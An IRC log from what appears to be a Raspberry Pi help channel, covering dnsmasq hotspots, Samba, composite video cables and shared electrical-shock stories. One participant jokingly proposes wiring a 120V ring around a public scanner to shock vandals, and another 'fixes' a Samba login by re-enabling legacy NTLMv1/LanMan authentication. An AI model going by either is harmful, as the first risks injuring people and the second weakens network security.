[17:01] <robertj> I want the pi to be user-swappable
[17:01] <magic_ninja> You will also have an AC power supply
[17:01] <magic_ninja> The standoffs will accomplish this.
[17:01] <robertj> not for my audience
[17:02] <magic_ninja> You will just need a small screwdriver, quick board swap.
[17:02] <magic_ninja> Include the driver in the unit.
[17:02] <robertj> they would throw an absolute fit
[17:02] <robertj> silly I know
[17:02] <robertj> but that's reality
[17:02] <magic_ninja> Oh, then I can't help you.
[17:02] <robertj> no worries
[17:02] <robertj> you live in the world of rational people
[17:02] <robertj> I spend all day writing carefully crafted memos :/
[17:03] <magic_ninja> Just use double-sided velcro and that box.
[17:03] <magic_ninja> You will want a cord grip for power too
[17:03] <Water_27300935_> Hi,anyone used 'pyzbar' (barcode and qrcode scanner)? I want to decode a qrcode from 'PiCamer' Bytes stream.
[17:04] <Water_27300935_> a=BytesIO()
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[17:04] <Water_27300935_> camera.capture(a,'jpeg')
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[17:05] <Water_27300935_> decode(a)
[17:05] <Water_27300935_> but appear "ValueError: need more than 0 values to unpack" error
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[17:06] <robertj> magic_ninja, appreciate it. The reality of the situation is that 99% of down-time is gonna cause from people putting gum in the scanner :/
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[17:06] <magic_ninja> LoL heat it up.
[17:06] <magic_ninja> Put you a little isolated ring of 120V around it so when they stick their fingers in there it shocks them. If they get shocked, you can ask why they have their fingers in there.
[17:06] <robertj> i'm just gonna give em a return box with a pre-paid label and figure out what to do when they show up over here
[17:07] <robertj> I talked to a guy a few years ago who did this for a living and he was like 'yup, we just take em apart and put em in sheet metal and they still get vandalized'
[17:07] <robertj> made me feel a bit better about leaving em out mostly aunatural
[17:08] <robertj> gonna be spending this afternoon prototyping a security bracket
[17:08] <robertj> I think I may need to buy a routing table
[17:09] <robertj> dunno, may just do it out of ply and paint it black - I didn't specify stain-grade retention brackets :P
[17:10] <magic_ninja> Rather than a routing table, I would get one of those smaller 3D printers. I bet you can find a clip type mounting bracket for the PI
[17:10] <magic_ninja> The only problem is that you will have to ship out the PI's with the retention bracket on them. Of course, that means if the user *must* be able to swap themselves, they will have to pay for a new bracket with each PI
[17:11] <robertj> not for the pi, for the scanner
[17:13] <robertj> honestly I think its impractical to print this thing but I kinda wanna
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[17:17] <faLUCE> DanielTheFox: I followed all the instructions at https://lb.raspberrypi.org/forums/viewtopic.php?t=211542 . IT created the AP, but if I try to connect to it, it fails when the client tries to acquire the IP address. I thing it's a problem of the dhcp server
[17:17] <DanielTheFox> the DHCP server has to be set up to the correct interface
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[17:20] <faLUCE> DanielTheFox: interface=lo,uap0 #Use interfaces lo and uap0
[17:20] <faLUCE> it's bound to the correct interface
[17:20] <DanielTheFox> the AP exists?
[17:20] <faLUCE> maybe that is not good: dhcp-range=,,12h '
[17:20] <faLUCE> ?
[17:21] <DanielTheFox> also
[17:21] <faLUCE> yes, as said before the problem is when obtaining the IP from the AP
[17:21] <DanielTheFox> the interface needs its own IP address
[17:21] <DanielTheFox> like
[17:21] <DanielTheFox>
[17:21] <Fulgen> is dnsmasq installed
[17:21] <faLUCE> but it authenthicates correctly
[17:21] <faLUCE> Fulgen: yes
[17:21] <Fulgen> is /var writeabl
[17:21] <Fulgen> *e
[17:21] <faLUCE> DanielTheFox: yes, look at the page: https://lb.raspberrypi.org/forums/viewtopic.php?t=211542
[17:21] <faLUCE> all the steps are wrote
[17:21] <DanielTheFox> ok
[17:22] <faLUCE> thanks
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[17:24] <faLUCE> Fulgen: it has to be writable?
[17:25] <Fulgen> yes
[17:25] <Fulgen> /var stands for variable data, it *always* has to be writeable
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[17:27] <faLUCE> Fulgen: dnsmasq is installed, why would I have to check the permissions on /var ?
[17:28] <stiv> because if you check it, then you know it is right
[17:29] <Fulgen> faLUCE: because it can't distribute IP addresses when /var is read only
[17:29] <Fulgen> (had the same problem)
[17:30] <faLUCE> Fulgen: ok, let's check
[17:30] <Fulgen> mount | grep var should to the trick
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[17:32] <faLUCE> Fulgen: drwxr-xr-x
[17:34] <faLUCE> what could I check? The hotspot hangs when a client acquires the IP
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[17:38] <DanielTheFox> Ctrl+Alt+Delete
[17:38] * DanielTheFox "noooo, drag /RESET low, drag /RESET low!!!"
[17:42] <faLUCE> where I could see the dnsmasq log?
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[17:47] <DanielTheFox> hrm...
[17:47] * DanielTheFox doesn't remember how to do so :<
[17:48] <faLUCE> I tried /etc/init.d/dnsmasq restart, but it did not give me any error
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[17:50] <faLUCE> here's the dnsmasq.conf that I used http://paste.debian.net/1068432/
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[17:57] <faLUCE> solved
[17:57] <faLUCE> I had to specify the IP of the AP
[17:57] <faLUCE> (as DanielTheFox said ;-) )
[17:57] <faLUCE> ifconfig uap0 netmask broadcast
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[18:01] <randombuilds> Hey guys, sorry to jump in again. I've done some googling and i've checked to make sure the raspi is getting enough power(it is) and checked the make sure that enabled and supported both =1(they do) but i'm still getting the same error with the picam. The picture it takes is just a grey screen with noise - Anyone any ideas on how I could fix this?
[18:03] <stiv> bad camera. improper resolution/scan settings
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[18:05] <Khaytsus> how did you "check" its' enough power?
[18:05] <DanielTheFox> magical red LED
[18:06] <Fulgen> the red LED just indicated there's enough voltage
[18:06] <Fulgen> *indicates
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[18:07] <faLUCE> DanielTheFox: thanks for all. one last thing: given that the channel of the AP must be the same of that of the client, how can I check the channel of the client? iwconfig doesn't give me that info
[18:08] <DanielTheFox> iw dev wlan0 link
[18:08] <DanielTheFox> gives you a handful of link information
[18:08] <DanielTheFox> including current channel
[18:08] <robertj> magic_ninja, I sketched up something and put it in shapeways and died inside when I saw how cheap it was
[18:09] <randombuilds> I swapped from USB power bank to the official raspi power supply and then plugged it back into a monitor to check if I got the low voltage warming in the top right
[18:09] <faLUCE> tnx
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[19:36] <grkblood13> does anyone know of a web browser that will play html5 video via an embedded omxplayer?
[19:38] <grkblood13> the player has to be internal to the page that initiated it so that the web pages controls will still be operational
[19:39] <phinxy> grkblood13: There is a nodejs omxplayer thing. Not a browser but it allows to control the player from inside the browser like you say
[19:39] <phinxy> possibly embedding the video on the webpage
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[19:40] <grkblood13> no browsers out there that use the openmax codecs for video?
[19:41] <DanielTheFox> chromium uses accelerated video player
[19:41] <DanielTheFox> and there is that extension that forces all YouTube videos to h264
[19:41] <grkblood13> I cant get chromium on my pi over v65
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[19:41] <DanielTheFox> so they can be played seamlessly on the Pi
[19:41] <DanielTheFox> ...what
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[19:41] <DanielTheFox> no Chromium beyond 65?
[19:41] <grkblood13> raspbian wont update past v65
[19:41] <grkblood13> correct
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[19:42] <DanielTheFox> uhh, if you really want it, hopefully you'd want to change to sid packages? (does this exist on Raspbian?)
[19:42] <DanielTheFox> and if it isn't there, there has to be a good reason why they are reluctant to update beyond v65
[19:43] <DanielTheFox> usually, stability
[19:44] <DanielTheFox> in my experience, no websites break on Chromium on the Pi
[19:44] <grkblood13> the fetch api isnt fully integrated in v65
[19:45] <DanielTheFox> otherwise, I can't exactly recommend anything beyond what comes with default (again, I assume they have good reasons to stay in v65 despite the flaw you said)
[19:45] <grkblood13> i need to use AbortController() which was introduced in v66
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[19:46] <grkblood13> https://developer.mozilla.org/en-US/docs/Web/API/AbortController#Browser_compatibility
[19:46] <DanielTheFox> ok, then I don't know how or where to point regarding that
[19:47] <grkblood13> im surprised theres no ppa for a newer version. maybe there is and i just havent found it
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[19:48] <DanielTheFox> (besides, I'm not a supporter of bleeding-edge updates, it can be said I'm the opposite to a "supporter" of such a thing)
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[20:39] <SimonNL> if I buy myself a raspberry pi3 am I then able to connect wifi to AP using wpa2-enterprise encryption and share internet using ethernet?
[20:40] <SimonNL> using raspian OS
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[20:45] <DanielTheFox> I do it regularly and everyday here on Debian, and I've done like that on the Pi
[20:46] <RaalFy> Hi, I've run into a problem with multicast networking. Following a guide I found online, I'm able to successfully setup a multicast network using this command in Raspbian "route add netmask dev eth0". Prior to Raspbian Jessie, I could enter this command in /etc/network/interfaces "up route add -net netmask eth0". Now that the configuration is managed by dhcpcd, I'm not sure how to add this route startup
[20:46] <RaalFy> command. Any ideas?
[20:47] <DanielTheFox> SimonNL, notably, you need to know how to connect to WiFi using CLI (I use ifupdown), how to put static IP addresses, creating your own network using a DHCP server, create a NAT between your wired and your wireless network, and so on
[20:48] <SimonNL> DanielTheFox: so there is not network manager in raspian ?
[20:48] <DanielTheFox> I don't recommend using GUI network managers when doing so
[20:48] <DanielTheFox> creating advanced networks
[20:49] <DanielTheFox> the GUI is (IMO) for regular user who wants to connect to internet with some clicks
[20:49] <RaalFy> I've found another guide that suggest updating /lib/dhcpcd/dhcpcd-hooks/40-route with this "ip route add via", but I'm not sure what the equivalent of the first command would be. I desperately need some assistance.
[20:49] <DanielTheFox> the CLI is far more flexible
[20:49] <SimonNL> doesn't have to be sophisticated just needs to act as a router
[20:49] <DanielTheFox> well, that's what I mean
[20:50] <DanielTheFox> even a simple router setup requires you to put a DHCP server (that only listens on the wired interface), static IP address on the wired network, a NAT and using a reliable way to connect to internet on the WLAN side
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[20:51] <DanielTheFox> you can avoid the DHCP server if you don't mind having to configure static addresses in each computer in your LAN
[20:51] <SimonNL> ^
[20:51] <DanielTheFox> you can avoid the NAT if you're not going to use internet from that LAN, but that's not what you wanted to do
[20:52] <DanielTheFox> in short, creating a router requires some degree of experience with LAN and how that works
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[20:52] <SimonNL> I have similar thing running now wifi connect to AP and internet shared to network so I think if raspian network manager has same option I can get it done
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[20:53] <DanielTheFox> I... don't know if Raspbian Network Manager can do it
[20:53] <DanielTheFox> (you're still needing to resort to CLI and poking at /etc/network/interfaces to achieve what you said)
[20:53] <DanielTheFox> (this is the way I do it, at least here)
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[20:54] <SimonNL> if I buy myself a pi3 and am not able to get it done am I welcome in here for help ?
[20:54] <DanielTheFox> yes
[20:54] <SimonNL> to get it done cli steil
[20:55] <DanielTheFox> in fact, if you're really interested, hopefully I can write up a manual saying how I achieved it
[20:55] <SimonNL> thats great.
[20:55] <DanielTheFox> (if I have enough time, that's it)
[20:55] <SimonNL> DanielTheFox: better wait until I buy me one
[20:55] <DanielTheFox> yeah
[20:55] <DanielTheFox> but in short
[20:56] <DanielTheFox> it's perfectly doable: anything with a WiFi device and an Ethernet port can do it
[20:56] <DanielTheFox> (and Linux provides a lot of flexibility in that matter)
[20:56] <SimonNL> I think I can get it done if my brain doesn't fail me
[20:58] <SimonNL> not sure if my command knowledge is enough but I'm quite handy with man, info, google etc.
[20:58] <DanielTheFox> knowing how to read man pages is extremely useful
[20:58] <SimonNL> DanielTheFox: thanks for now and maybe until soon
[20:58] <DanielTheFox> lots of people I know would get sick just out of attempting to read a manpage
[20:59] <DanielTheFox> (like drinking vodka, it has to be done properly so you don't get sick)
[20:59] <SimonNL> well after 3 sentences it sometimes gets hard
[20:59] <SimonNL> after 3 sentences of Vodka I'm just starting
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[21:00] <SimonNL> that was years ago to be honest
[21:00] <SimonNL> \o
[21:00] <DanielTheFox> some stuff might have changed since then
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[21:00] <DanielTheFox> Linux evolves fast
[21:00] <SimonNL> the vodka ?
[21:01] <SimonNL> good reason to try again then
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[21:57] <tommy``> guys i'm triying to open jpg with pi console, which tool i can use?
[21:58] <DanielTheFox> tty1 console?
[21:58] <DanielTheFox> use fim (apt install fim)
[21:58] <tommy``> yes
[21:58] <tommy``> ok trying
[21:59] <tommy``> apt-get can't find fim
[21:59] <DanielTheFox> huh
[21:59] <DanielTheFox> I installed it using Raspbian, and it went fine
[22:00] <DanielTheFox> are you using the default mirrors? is the Pi up to date?
[22:00] <tommy``> yes
[22:00] <tommy``> i've retropie but it's the sam
[22:00] <tommy``> e
[22:00] <DanielTheFox> hmm
[22:01] <DanielTheFox> that might be causing conflicts? they might not have every package Raspbian does?
[22:01] <tommy``> i've installed "fbi" but doesn't work with jpg
[22:01] <DanielTheFox> whatever, try with fbi (but it doesn't appear to work well with screen)
[22:01] <DanielTheFox> wait what?
[22:01] <DanielTheFox> that's very weird
[22:01] <DanielTheFox> I also use fbi and it works like a charm for jpg
[22:01] <tommy``> using "DejaVu Sans Mono-16", pixelsize=16,67 file=/usr/share/fonts/truetype/dejavu/DejaVuSansMono.ttf
[22:01] <tommy``> ioctl VT_GETSTATE: ioctl non appropriata per il device (not a linux console?)
[22:02] <DanielTheFox> tommy``, that's because you're using screen/tmux or whatever
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[22:02] <tommy``> i'm on pi with putty
[22:02] <DanielTheFox> well, that's pretty much the same issue
[22:03] <tommy``> oh ok, so it's not possible through putty
[22:03] <DanielTheFox> fbi only works if you're on the very bare tty1 (or tty#) console
[22:03] <tommy``> ?
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[22:03] <DanielTheFox> SSH won't work, and so, it won't work with xterm or any other terminal that isn't tty# itself
[22:03] <DanielTheFox> (not even tty1 works if you're using screen or tmux)
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[22:04] <tommy``> ok so i need to try without putty
[22:04] <DanielTheFox> are you accessing the Pi through SSH? (that's... pretty much the only use I fould for PuTTY)
[22:05] <tommy``> yes
[22:06] <DanielTheFox> ok, then nothing will work :(
[22:06] <DanielTheFox> SSH terminals can only transmit text
[22:06] <tommy``> to test on term i've to set the pi2 inside my arcade bartop, but i haven't it there now
[22:07] <DanielTheFox> yeah
[22:07] <DanielTheFox> and either way
[22:07] <DanielTheFox> fim can work on screen or tmux but again, only on actual tty1 terminal, with actual keyboard and screen access
[22:09] <tommy``> i've transformed my arcade bartop not only in a game machine but it's filled with easter egg
[22:09] <DanielTheFox> cool
[22:09] <tommy``> i've a script that launch '80s playlist songs
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[22:09] <DanielTheFox> I do similar stuff using jumpers directly on the Pi GPIO
[22:10] <tommy``> and i would like to launch that playlist with the "hadouken"
[22:10] <DanielTheFox> it's dangerous if you don't know what are you doing, but once you get it going, it's fun
[22:10] <tommy``> you know hadouken?
[22:10] <DanielTheFox> no
[22:10] <tommy``> in the game street fighter
[22:10] <tommy``> ryu and ken
[22:10] <tommy``> launch a ball
[22:10] <tommy``> the combination it's called hadouken
[22:10] <tommy``> like the "konami code" but different joystick and button combo
[22:12] <DanielTheFox> I didn't play Street Fighter :)
[22:12] <DanielTheFox> I was more into childish games
[22:14] <DanielTheFox> say
[22:14] <DanielTheFox> Zelda ALTTP
[22:14] <DanielTheFox> SMB3
[22:14] <DanielTheFox> there are others but they don't count, not retro enough
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[22:19] <ap4lmtree_> hi
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[22:19] <ap4lmtree> do any of you have any issues installing samba right and connecting to it with windows 10?
[22:20] <ap4lmtree> raspb server keeps on saying my password is wrong and i did sudo smbpasswd -a pi
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[22:28] <SimonNL> https://git.io/fh5SO ap4lmtree from linux mint 19.1 release notes might help you out
[22:29] <SimonNL> mmm seing the network ?
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[22:39] <ap4lmtree> huh
[22:39] <ap4lmtree> raspberian is based on debian, no?
[22:39] <ap4lmtree> oh
[22:40] <ap4lmtree> let me try that
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[22:45] <ap4lmtree> yeah, it neither makes the network visible in the network folder/ discover network folder, nor does it fix the incorrect password issue
[22:45] <ap4lmtree> "the specified network password is not correct"
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[22:46] <Khaytsus> Perhaps windblows is wanting a more 'secure' password
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[22:56] <ap4lmtree> i turned on samba logs
[22:57] <ap4lmtree> it says " ntlm_password_check: NTLMv1 passwords NOT PERMITTED for user pi" ; ntlm_password_check: NEITHER LanMan nor NT password supplied for user pi check_ntlm_password: Authentication for user [pi] -> [pi] FAILED with error NT_STATUS_WRONG_PASSWORD
[22:58] <ap4lmtree> i wil google those things ...
[22:59] <DanielTheFox> ap4lmtree, I think you need another account
[22:59] <DanielTheFox> it doesn't like whatever password protocol Windows asked for
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[23:00] <Khaytsus> Yeah... too insecure for windows
[23:00] <Khaytsus> As if that's really a thing
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[23:00] <jfcaron> Is the RPi 3B+ capable of composite video output over the 3.5mm jack? Where is the documentation for this?
[23:00] <Khaytsus> Used to be you had to allow weaker smb authentication in windows but I thought smb fixed that some while back
[23:00] <DanielTheFox> jfcaron, yes, it can
[23:00] <DanielTheFox> and it's implied (I think) :>
[23:00] * DanielTheFox hides
[23:01] <Khaytsus> https://www.adafruit.com/product/2881
[23:01] <Khaytsus> but god why
[23:01] <DanielTheFox> but personally I've tried it and it works, it still has the 4-pole jack
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[23:01] <jfcaron> I have a 3mm-three RCA cable from a projector, and the ground is in the right place on the 3.5mm end.
[23:02] <DanielTheFox> you need a 3.5mm -> RCA cable
[23:02] <jfcaron> Forgot to type the .5
[23:02] <DanielTheFox> and one that has the pinouts good
[23:02] <ap4lmtree> yeah, i edited my smb.conf to allow both those protocals, and now it works
[23:02] <jfcaron> So there's no special bootup key combination required?
[23:02] <DanielTheFox> because, well, the Pi doesn't share the GND/VIDEO pins arrangment as TV boxes
[23:03] <DanielTheFox> jfcaron, not really
[23:03] <DanielTheFox> just disconnect HDMI output
[23:03] <jfcaron> Ok, I found an old post for a previous Rpi model that said you had to hold shift and press 1/2/3/4 for PAL/NTSC/etc.
[23:03] <DanielTheFox> actually, the Pi defaults to composite if there's no wire connected at all
[23:03] <DanielTheFox> no, that's for NOOBS
[23:03] <DanielTheFox> Raspbian automatically knows what to do
[23:03] <DanielTheFox> but wait
[23:04] <DanielTheFox> Raspbian defaults to NTSC (on the config file)
[23:04] <DanielTheFox> are your TVs NTSC?
[23:04] <jfcaron> Yes they are.
[23:04] <DanielTheFox> (i.e. are you American?)
[23:04] <DanielTheFox> oh, nice
[23:04] <DanielTheFox> then the default option will work
[23:04] <jfcaron> Canadian, but in 'Murca at the moment.
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[23:05] <jfcaron> I'll juggle the plugs around, probably the video is going to one of the TV speaker channels.
[23:05] <jfcaron> I do get some mild flickering on the screen.
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[23:05] <Khaytsus> Yeah you might have things plugged in wrong
[23:05] <Khaytsus> composite up wrong will make wigglies
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[23:05] <Khaytsus> I remember that from the 80s
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[23:06] <shauno> normally it's very easy to tell if you've just got the plugs the wrong way around; video coming out the speaker isn't subtle, it's loud and buzzy
[23:06] <Khaytsus> but he likely has no audio right now
[23:06] <Khaytsus> Oh, nevermind
[23:07] <shauno> yeah, I'm assuming he's plugged in all three jacks from a composite/AV cable
[23:07] <Khaytsus> Yeah, typing faster than I was thinking
[23:07] <jfcaron> Yeah I tried all 3 RCA plugs into the front video socket of the TV, also tried the audio inputs. I mostly get a black screen, sometimes I get a single flicker. No real noise coming from the speakers when I plug into the audio.
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[23:08] <Khaytsus> There was someone a while back that composite didn't work and they found a couple components missing on the board
[23:08] <jfcaron> lolwut
[23:08] <shauno> take all three plugs, and try them all in the same speaker one by one. the loud one is video. if you don't get a loud one, you don't have the right cable (there's two competing "standards" for this cable, ipod-style and camcorder-style, the pi uses ipod-style)
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[23:09] <Khaytsus> Not sure if it was an inductor or cap, but there was something missing for sure
[23:09] <jfcaron> Thanks shauno, I'll try that.
[23:09] <jfcaron> How does a part get left out? Underpair robuts?
[23:09] <jfcaron> Underpaid*
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[23:10] <Khaytsus> Robots are still sutble in their rebellion
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[23:10] <Khaytsus> But yes, you can have parts missing on a reel or an idiot at the helm and not notice a reel is empty
[23:11] <Khaytsus> I used to do SMT repair at a large manufacturing place.. 75% of my job was replacing resistors that weren't there or caps that tombstoned.
[23:11] <Khaytsus> Simple tasks obviously... with a good magnifying lens and an air knife. but it was pretty constant
[23:11] <d0rm0us3> electrolytic, yum yum
[23:12] <jfcaron> lol ok I think I actually have the wrong pole-arity on the 3.5mm end. I get noisy noise (equal volume) from all 3 plugs when tried one at a time into the audio input. If I *also* plug in any of the other plugs into the video input then it goes quiet. Pretty sure that means my GND is on the wrong part of the 3.5mm end.
[23:12] <jfcaron> Wish I had a multimeter to confirm.
[23:12] <Khaytsus> You just using some random trss to rca thing, not one you know works?
[23:12] <jfcaron> Yar.
[23:13] <Khaytsus> aaaaaaah, so what shauno sid
[23:13] <Khaytsus> Yes I recall ipods did this same thing back in the day didn't they
[23:13] <jfcaron> I was pretty sure it would work because of the handy table here: https://www.raspberrypi-spy.co.uk/2014/07/raspberry-pi-model-b-3-5mm-audiovideo-jack/
[23:13] <shauno> yeah, the video ipod used the same cable
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[23:13] <Khaytsus> yeah, probe that, sipmle enough
[23:14] <jfcaron> I'll take the cable to work tomorrow and check it with the DMM.
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[23:14] <Khaytsus> AA battery and an LED will do in a pinch ;)
[23:15] <jfcaron> Not enough fingers.
[23:15] <Khaytsus> In fact I had a buddy that was his favorite tool
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[23:15] <shauno> that was the first thing we built at school. for a good reason, it turns out
[23:15] <Khaytsus> Obviously it wasn't just kludged up, it was wired into a decent probe etc
[23:15] <jfcaron> Socketed LED for easy replacement I hope.
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[23:16] <jfcaron> Or two LEDs in parallel going in opposite directions?
[23:16] <Khaytsus> hmm? Just continuity testing
[23:16] <jfcaron> Anyways, thx for the info.
[23:17] <Khaytsus> I still need to sort out why my DMM is so sketchy anymore.. it works in and out
[23:17] <Khaytsus> Probably a cold joint, I really need to take it apart and give it a good look
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[23:18] <shauno> reminds me, I need to doctor mine. it's trying to be clever.
[23:18] <Khaytsus> This one is odd.. resistance works, but continuity does not
[23:18] <Khaytsus> amps works, but... not voltage iirc
[23:19] <shauno> mine has two +ve, one for normal and one for 10A. which is normal enough, but it has a plastic shutter that goes across to force you to use the right input depending on where the dial is
[23:20] <shauno> which annoys me no end, because it means you can't rotate the dial all the way around, if there's already probes connected it'll jam when it tries to close the shutter
[23:20] <Khaytsus> Yeah, this is all on the normal inputs offhand not sure if 10a works, not something I ever used much
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[23:20] <Khaytsus> Always ahve done low voltage electronic work
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[23:21] * DanielTheFox has only basic knowledge about digital electronics
[23:21] <shauno> yeah I've never used that either. always use clamp meters for anything that'd hurt
[23:21] * DanielTheFox doesn't know how to use resistors beyond pull-up resistors
[23:21] * Khaytsus hands DanielTheFox two forks
[23:22] <Khaytsus> shauno: I've used 10A a few times for radio stuff to measure now much power something is using but not very often
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[23:22] <DanielTheFox> kill-a-watt
[23:22] <DanielTheFox> I need one of those, but for USB stuff
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[23:23] <Khaytsus> DanielTheFox: They're dirt cheap... not south of the border chepa maybe, dunno
[23:23] <DanielTheFox> my dad bought one, it wasn't as "dirt cheap"
[23:23] <DanielTheFox> 3.5 USD
[23:23] <Khaytsus> but yeah those little inline USB devices you can get for $15-$20 for even half decent ones
[23:24] * Tenkawa doesn't even want to think about how long ago he learned electronics
[23:25] <Khaytsus> I learned electronics the first tiem I plugged a lamp in by feel
[23:25] <Tenkawa> Khaytsus: did it have a short in it?
[23:25] <Khaytsus> No, I was feeling for the outlet while plugging it in
[23:25] <Tenkawa> oh
[23:25] <Khaytsus> Thus I became part of the circuit ;)
[23:26] <Tenkawa> ouch
[23:26] <shauno> FUUUound it!
[23:26] <DanielTheFox> suffered the same but much worse
[23:26] <Khaytsus> Just a nip from the 120v, keeping you aware
[23:26] <DanielTheFox> it was me and a microwave oven
[23:28] <Tenkawa> I've been hit by so many different type of circuits over the years
[23:28] <shauno> I've had a few nips, I used to think it was funny until I started working somewhere that had 400-415V DC busbars. now I'm deathly paranoid
[23:28] <Tenkawa> (I learned hvac young too)
[23:29] <shauno> I've heard stories of screwdrivers evaporating. I keep my hands in my pocket now
[23:29] <Tenkawa> shauno: 220 is the scary one
[23:29] <Tenkawa> it likes to grab
[23:30] <DanielTheFox> stay away from CRT TV insides then
[23:30] <Tenkawa> if I remember correctly
[23:30] <Tenkawa> Its all becoming a blur in my upper age
[23:30] <Tenkawa> heheheh
[23:31] <DanielTheFox> heat is more of a problem with me
[23:31] <DanielTheFox> for example, when using a soldering iron
[23:31] <shauno> we have 1.6MW UPSes. the bus bars for the battery strings have stupid amounts of current available. it's way paste tingle vs tickle stages, but more "make sure you shut the room off before you retrieve the body"
[23:31] <DanielTheFox> or testing how hot is the Pi SoC
[23:31] <SimonNL> I can remember it felt like that
[23:31] <DanielTheFox> "Meh, 80°C won't harm anybody"
[23:31] <Tenkawa> heat and I are not friends at all
[23:31] <DanielTheFox> *finger melts*
[23:31] <DanielTheFox> "Wow, now it turns out ARM CPUs have Meltdown trouble too"
[23:32] <shauno> I think everyone learns that lesson. when you drop a soldering iron, you throw your hands up like you've met an american cop. you only try to catch it the first time
[23:33] <DanielTheFox> the iron must be like "IS THE SOUND OF THE POLICE"
[23:33] <DanielTheFox> laughing at us, fragile hands
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[23:35] <MikeRL> I have a problem.
[23:36] <DanielTheFox> I have a dream.
[23:36] <MikeRL> Went to uninstall RetroPie and it nuked a bunch of Raspbian packages.
[23:36] <MikeRL> Is there a way to get them back?
[23:36] <DanielTheFox> if you know which, install them back
[23:36] <MikeRL> Like is there a history of all removed packag tthrough apt?
[23:37] <MikeRL> *packages through
[23:37] <MikeRL> I caught most of them, but the terminal exited before I could get all of them.
[23:37] <MikeRL> Or is there a Raspbian metapackage that will reinstall anything it took away?
[23:39] <MikeRL> Last time it did this it failed to boot afterwards. Not good.
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[23:42] <MikeRL> figured it out.
[23:42] <MikeRL> less /var/log/apt/history.log
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[23:49] <MikeRL> Now I can see the history with that command. Is there a way to trim out version numbering from the output?
[23:50] <MikeRL> That would m ake it simple to reinstall the missing applications.
[23:53] <Khaytsus> I went to dig my multimeter out and found............... um.. not mine
[23:53] <Khaytsus> I don't know what this is
[23:53] <MikeRL> What hapenned?
[23:56] <Khaytsus> I found an Omega 881C. I don't recognize this at all.... maybe it was my dads and I forgot about it
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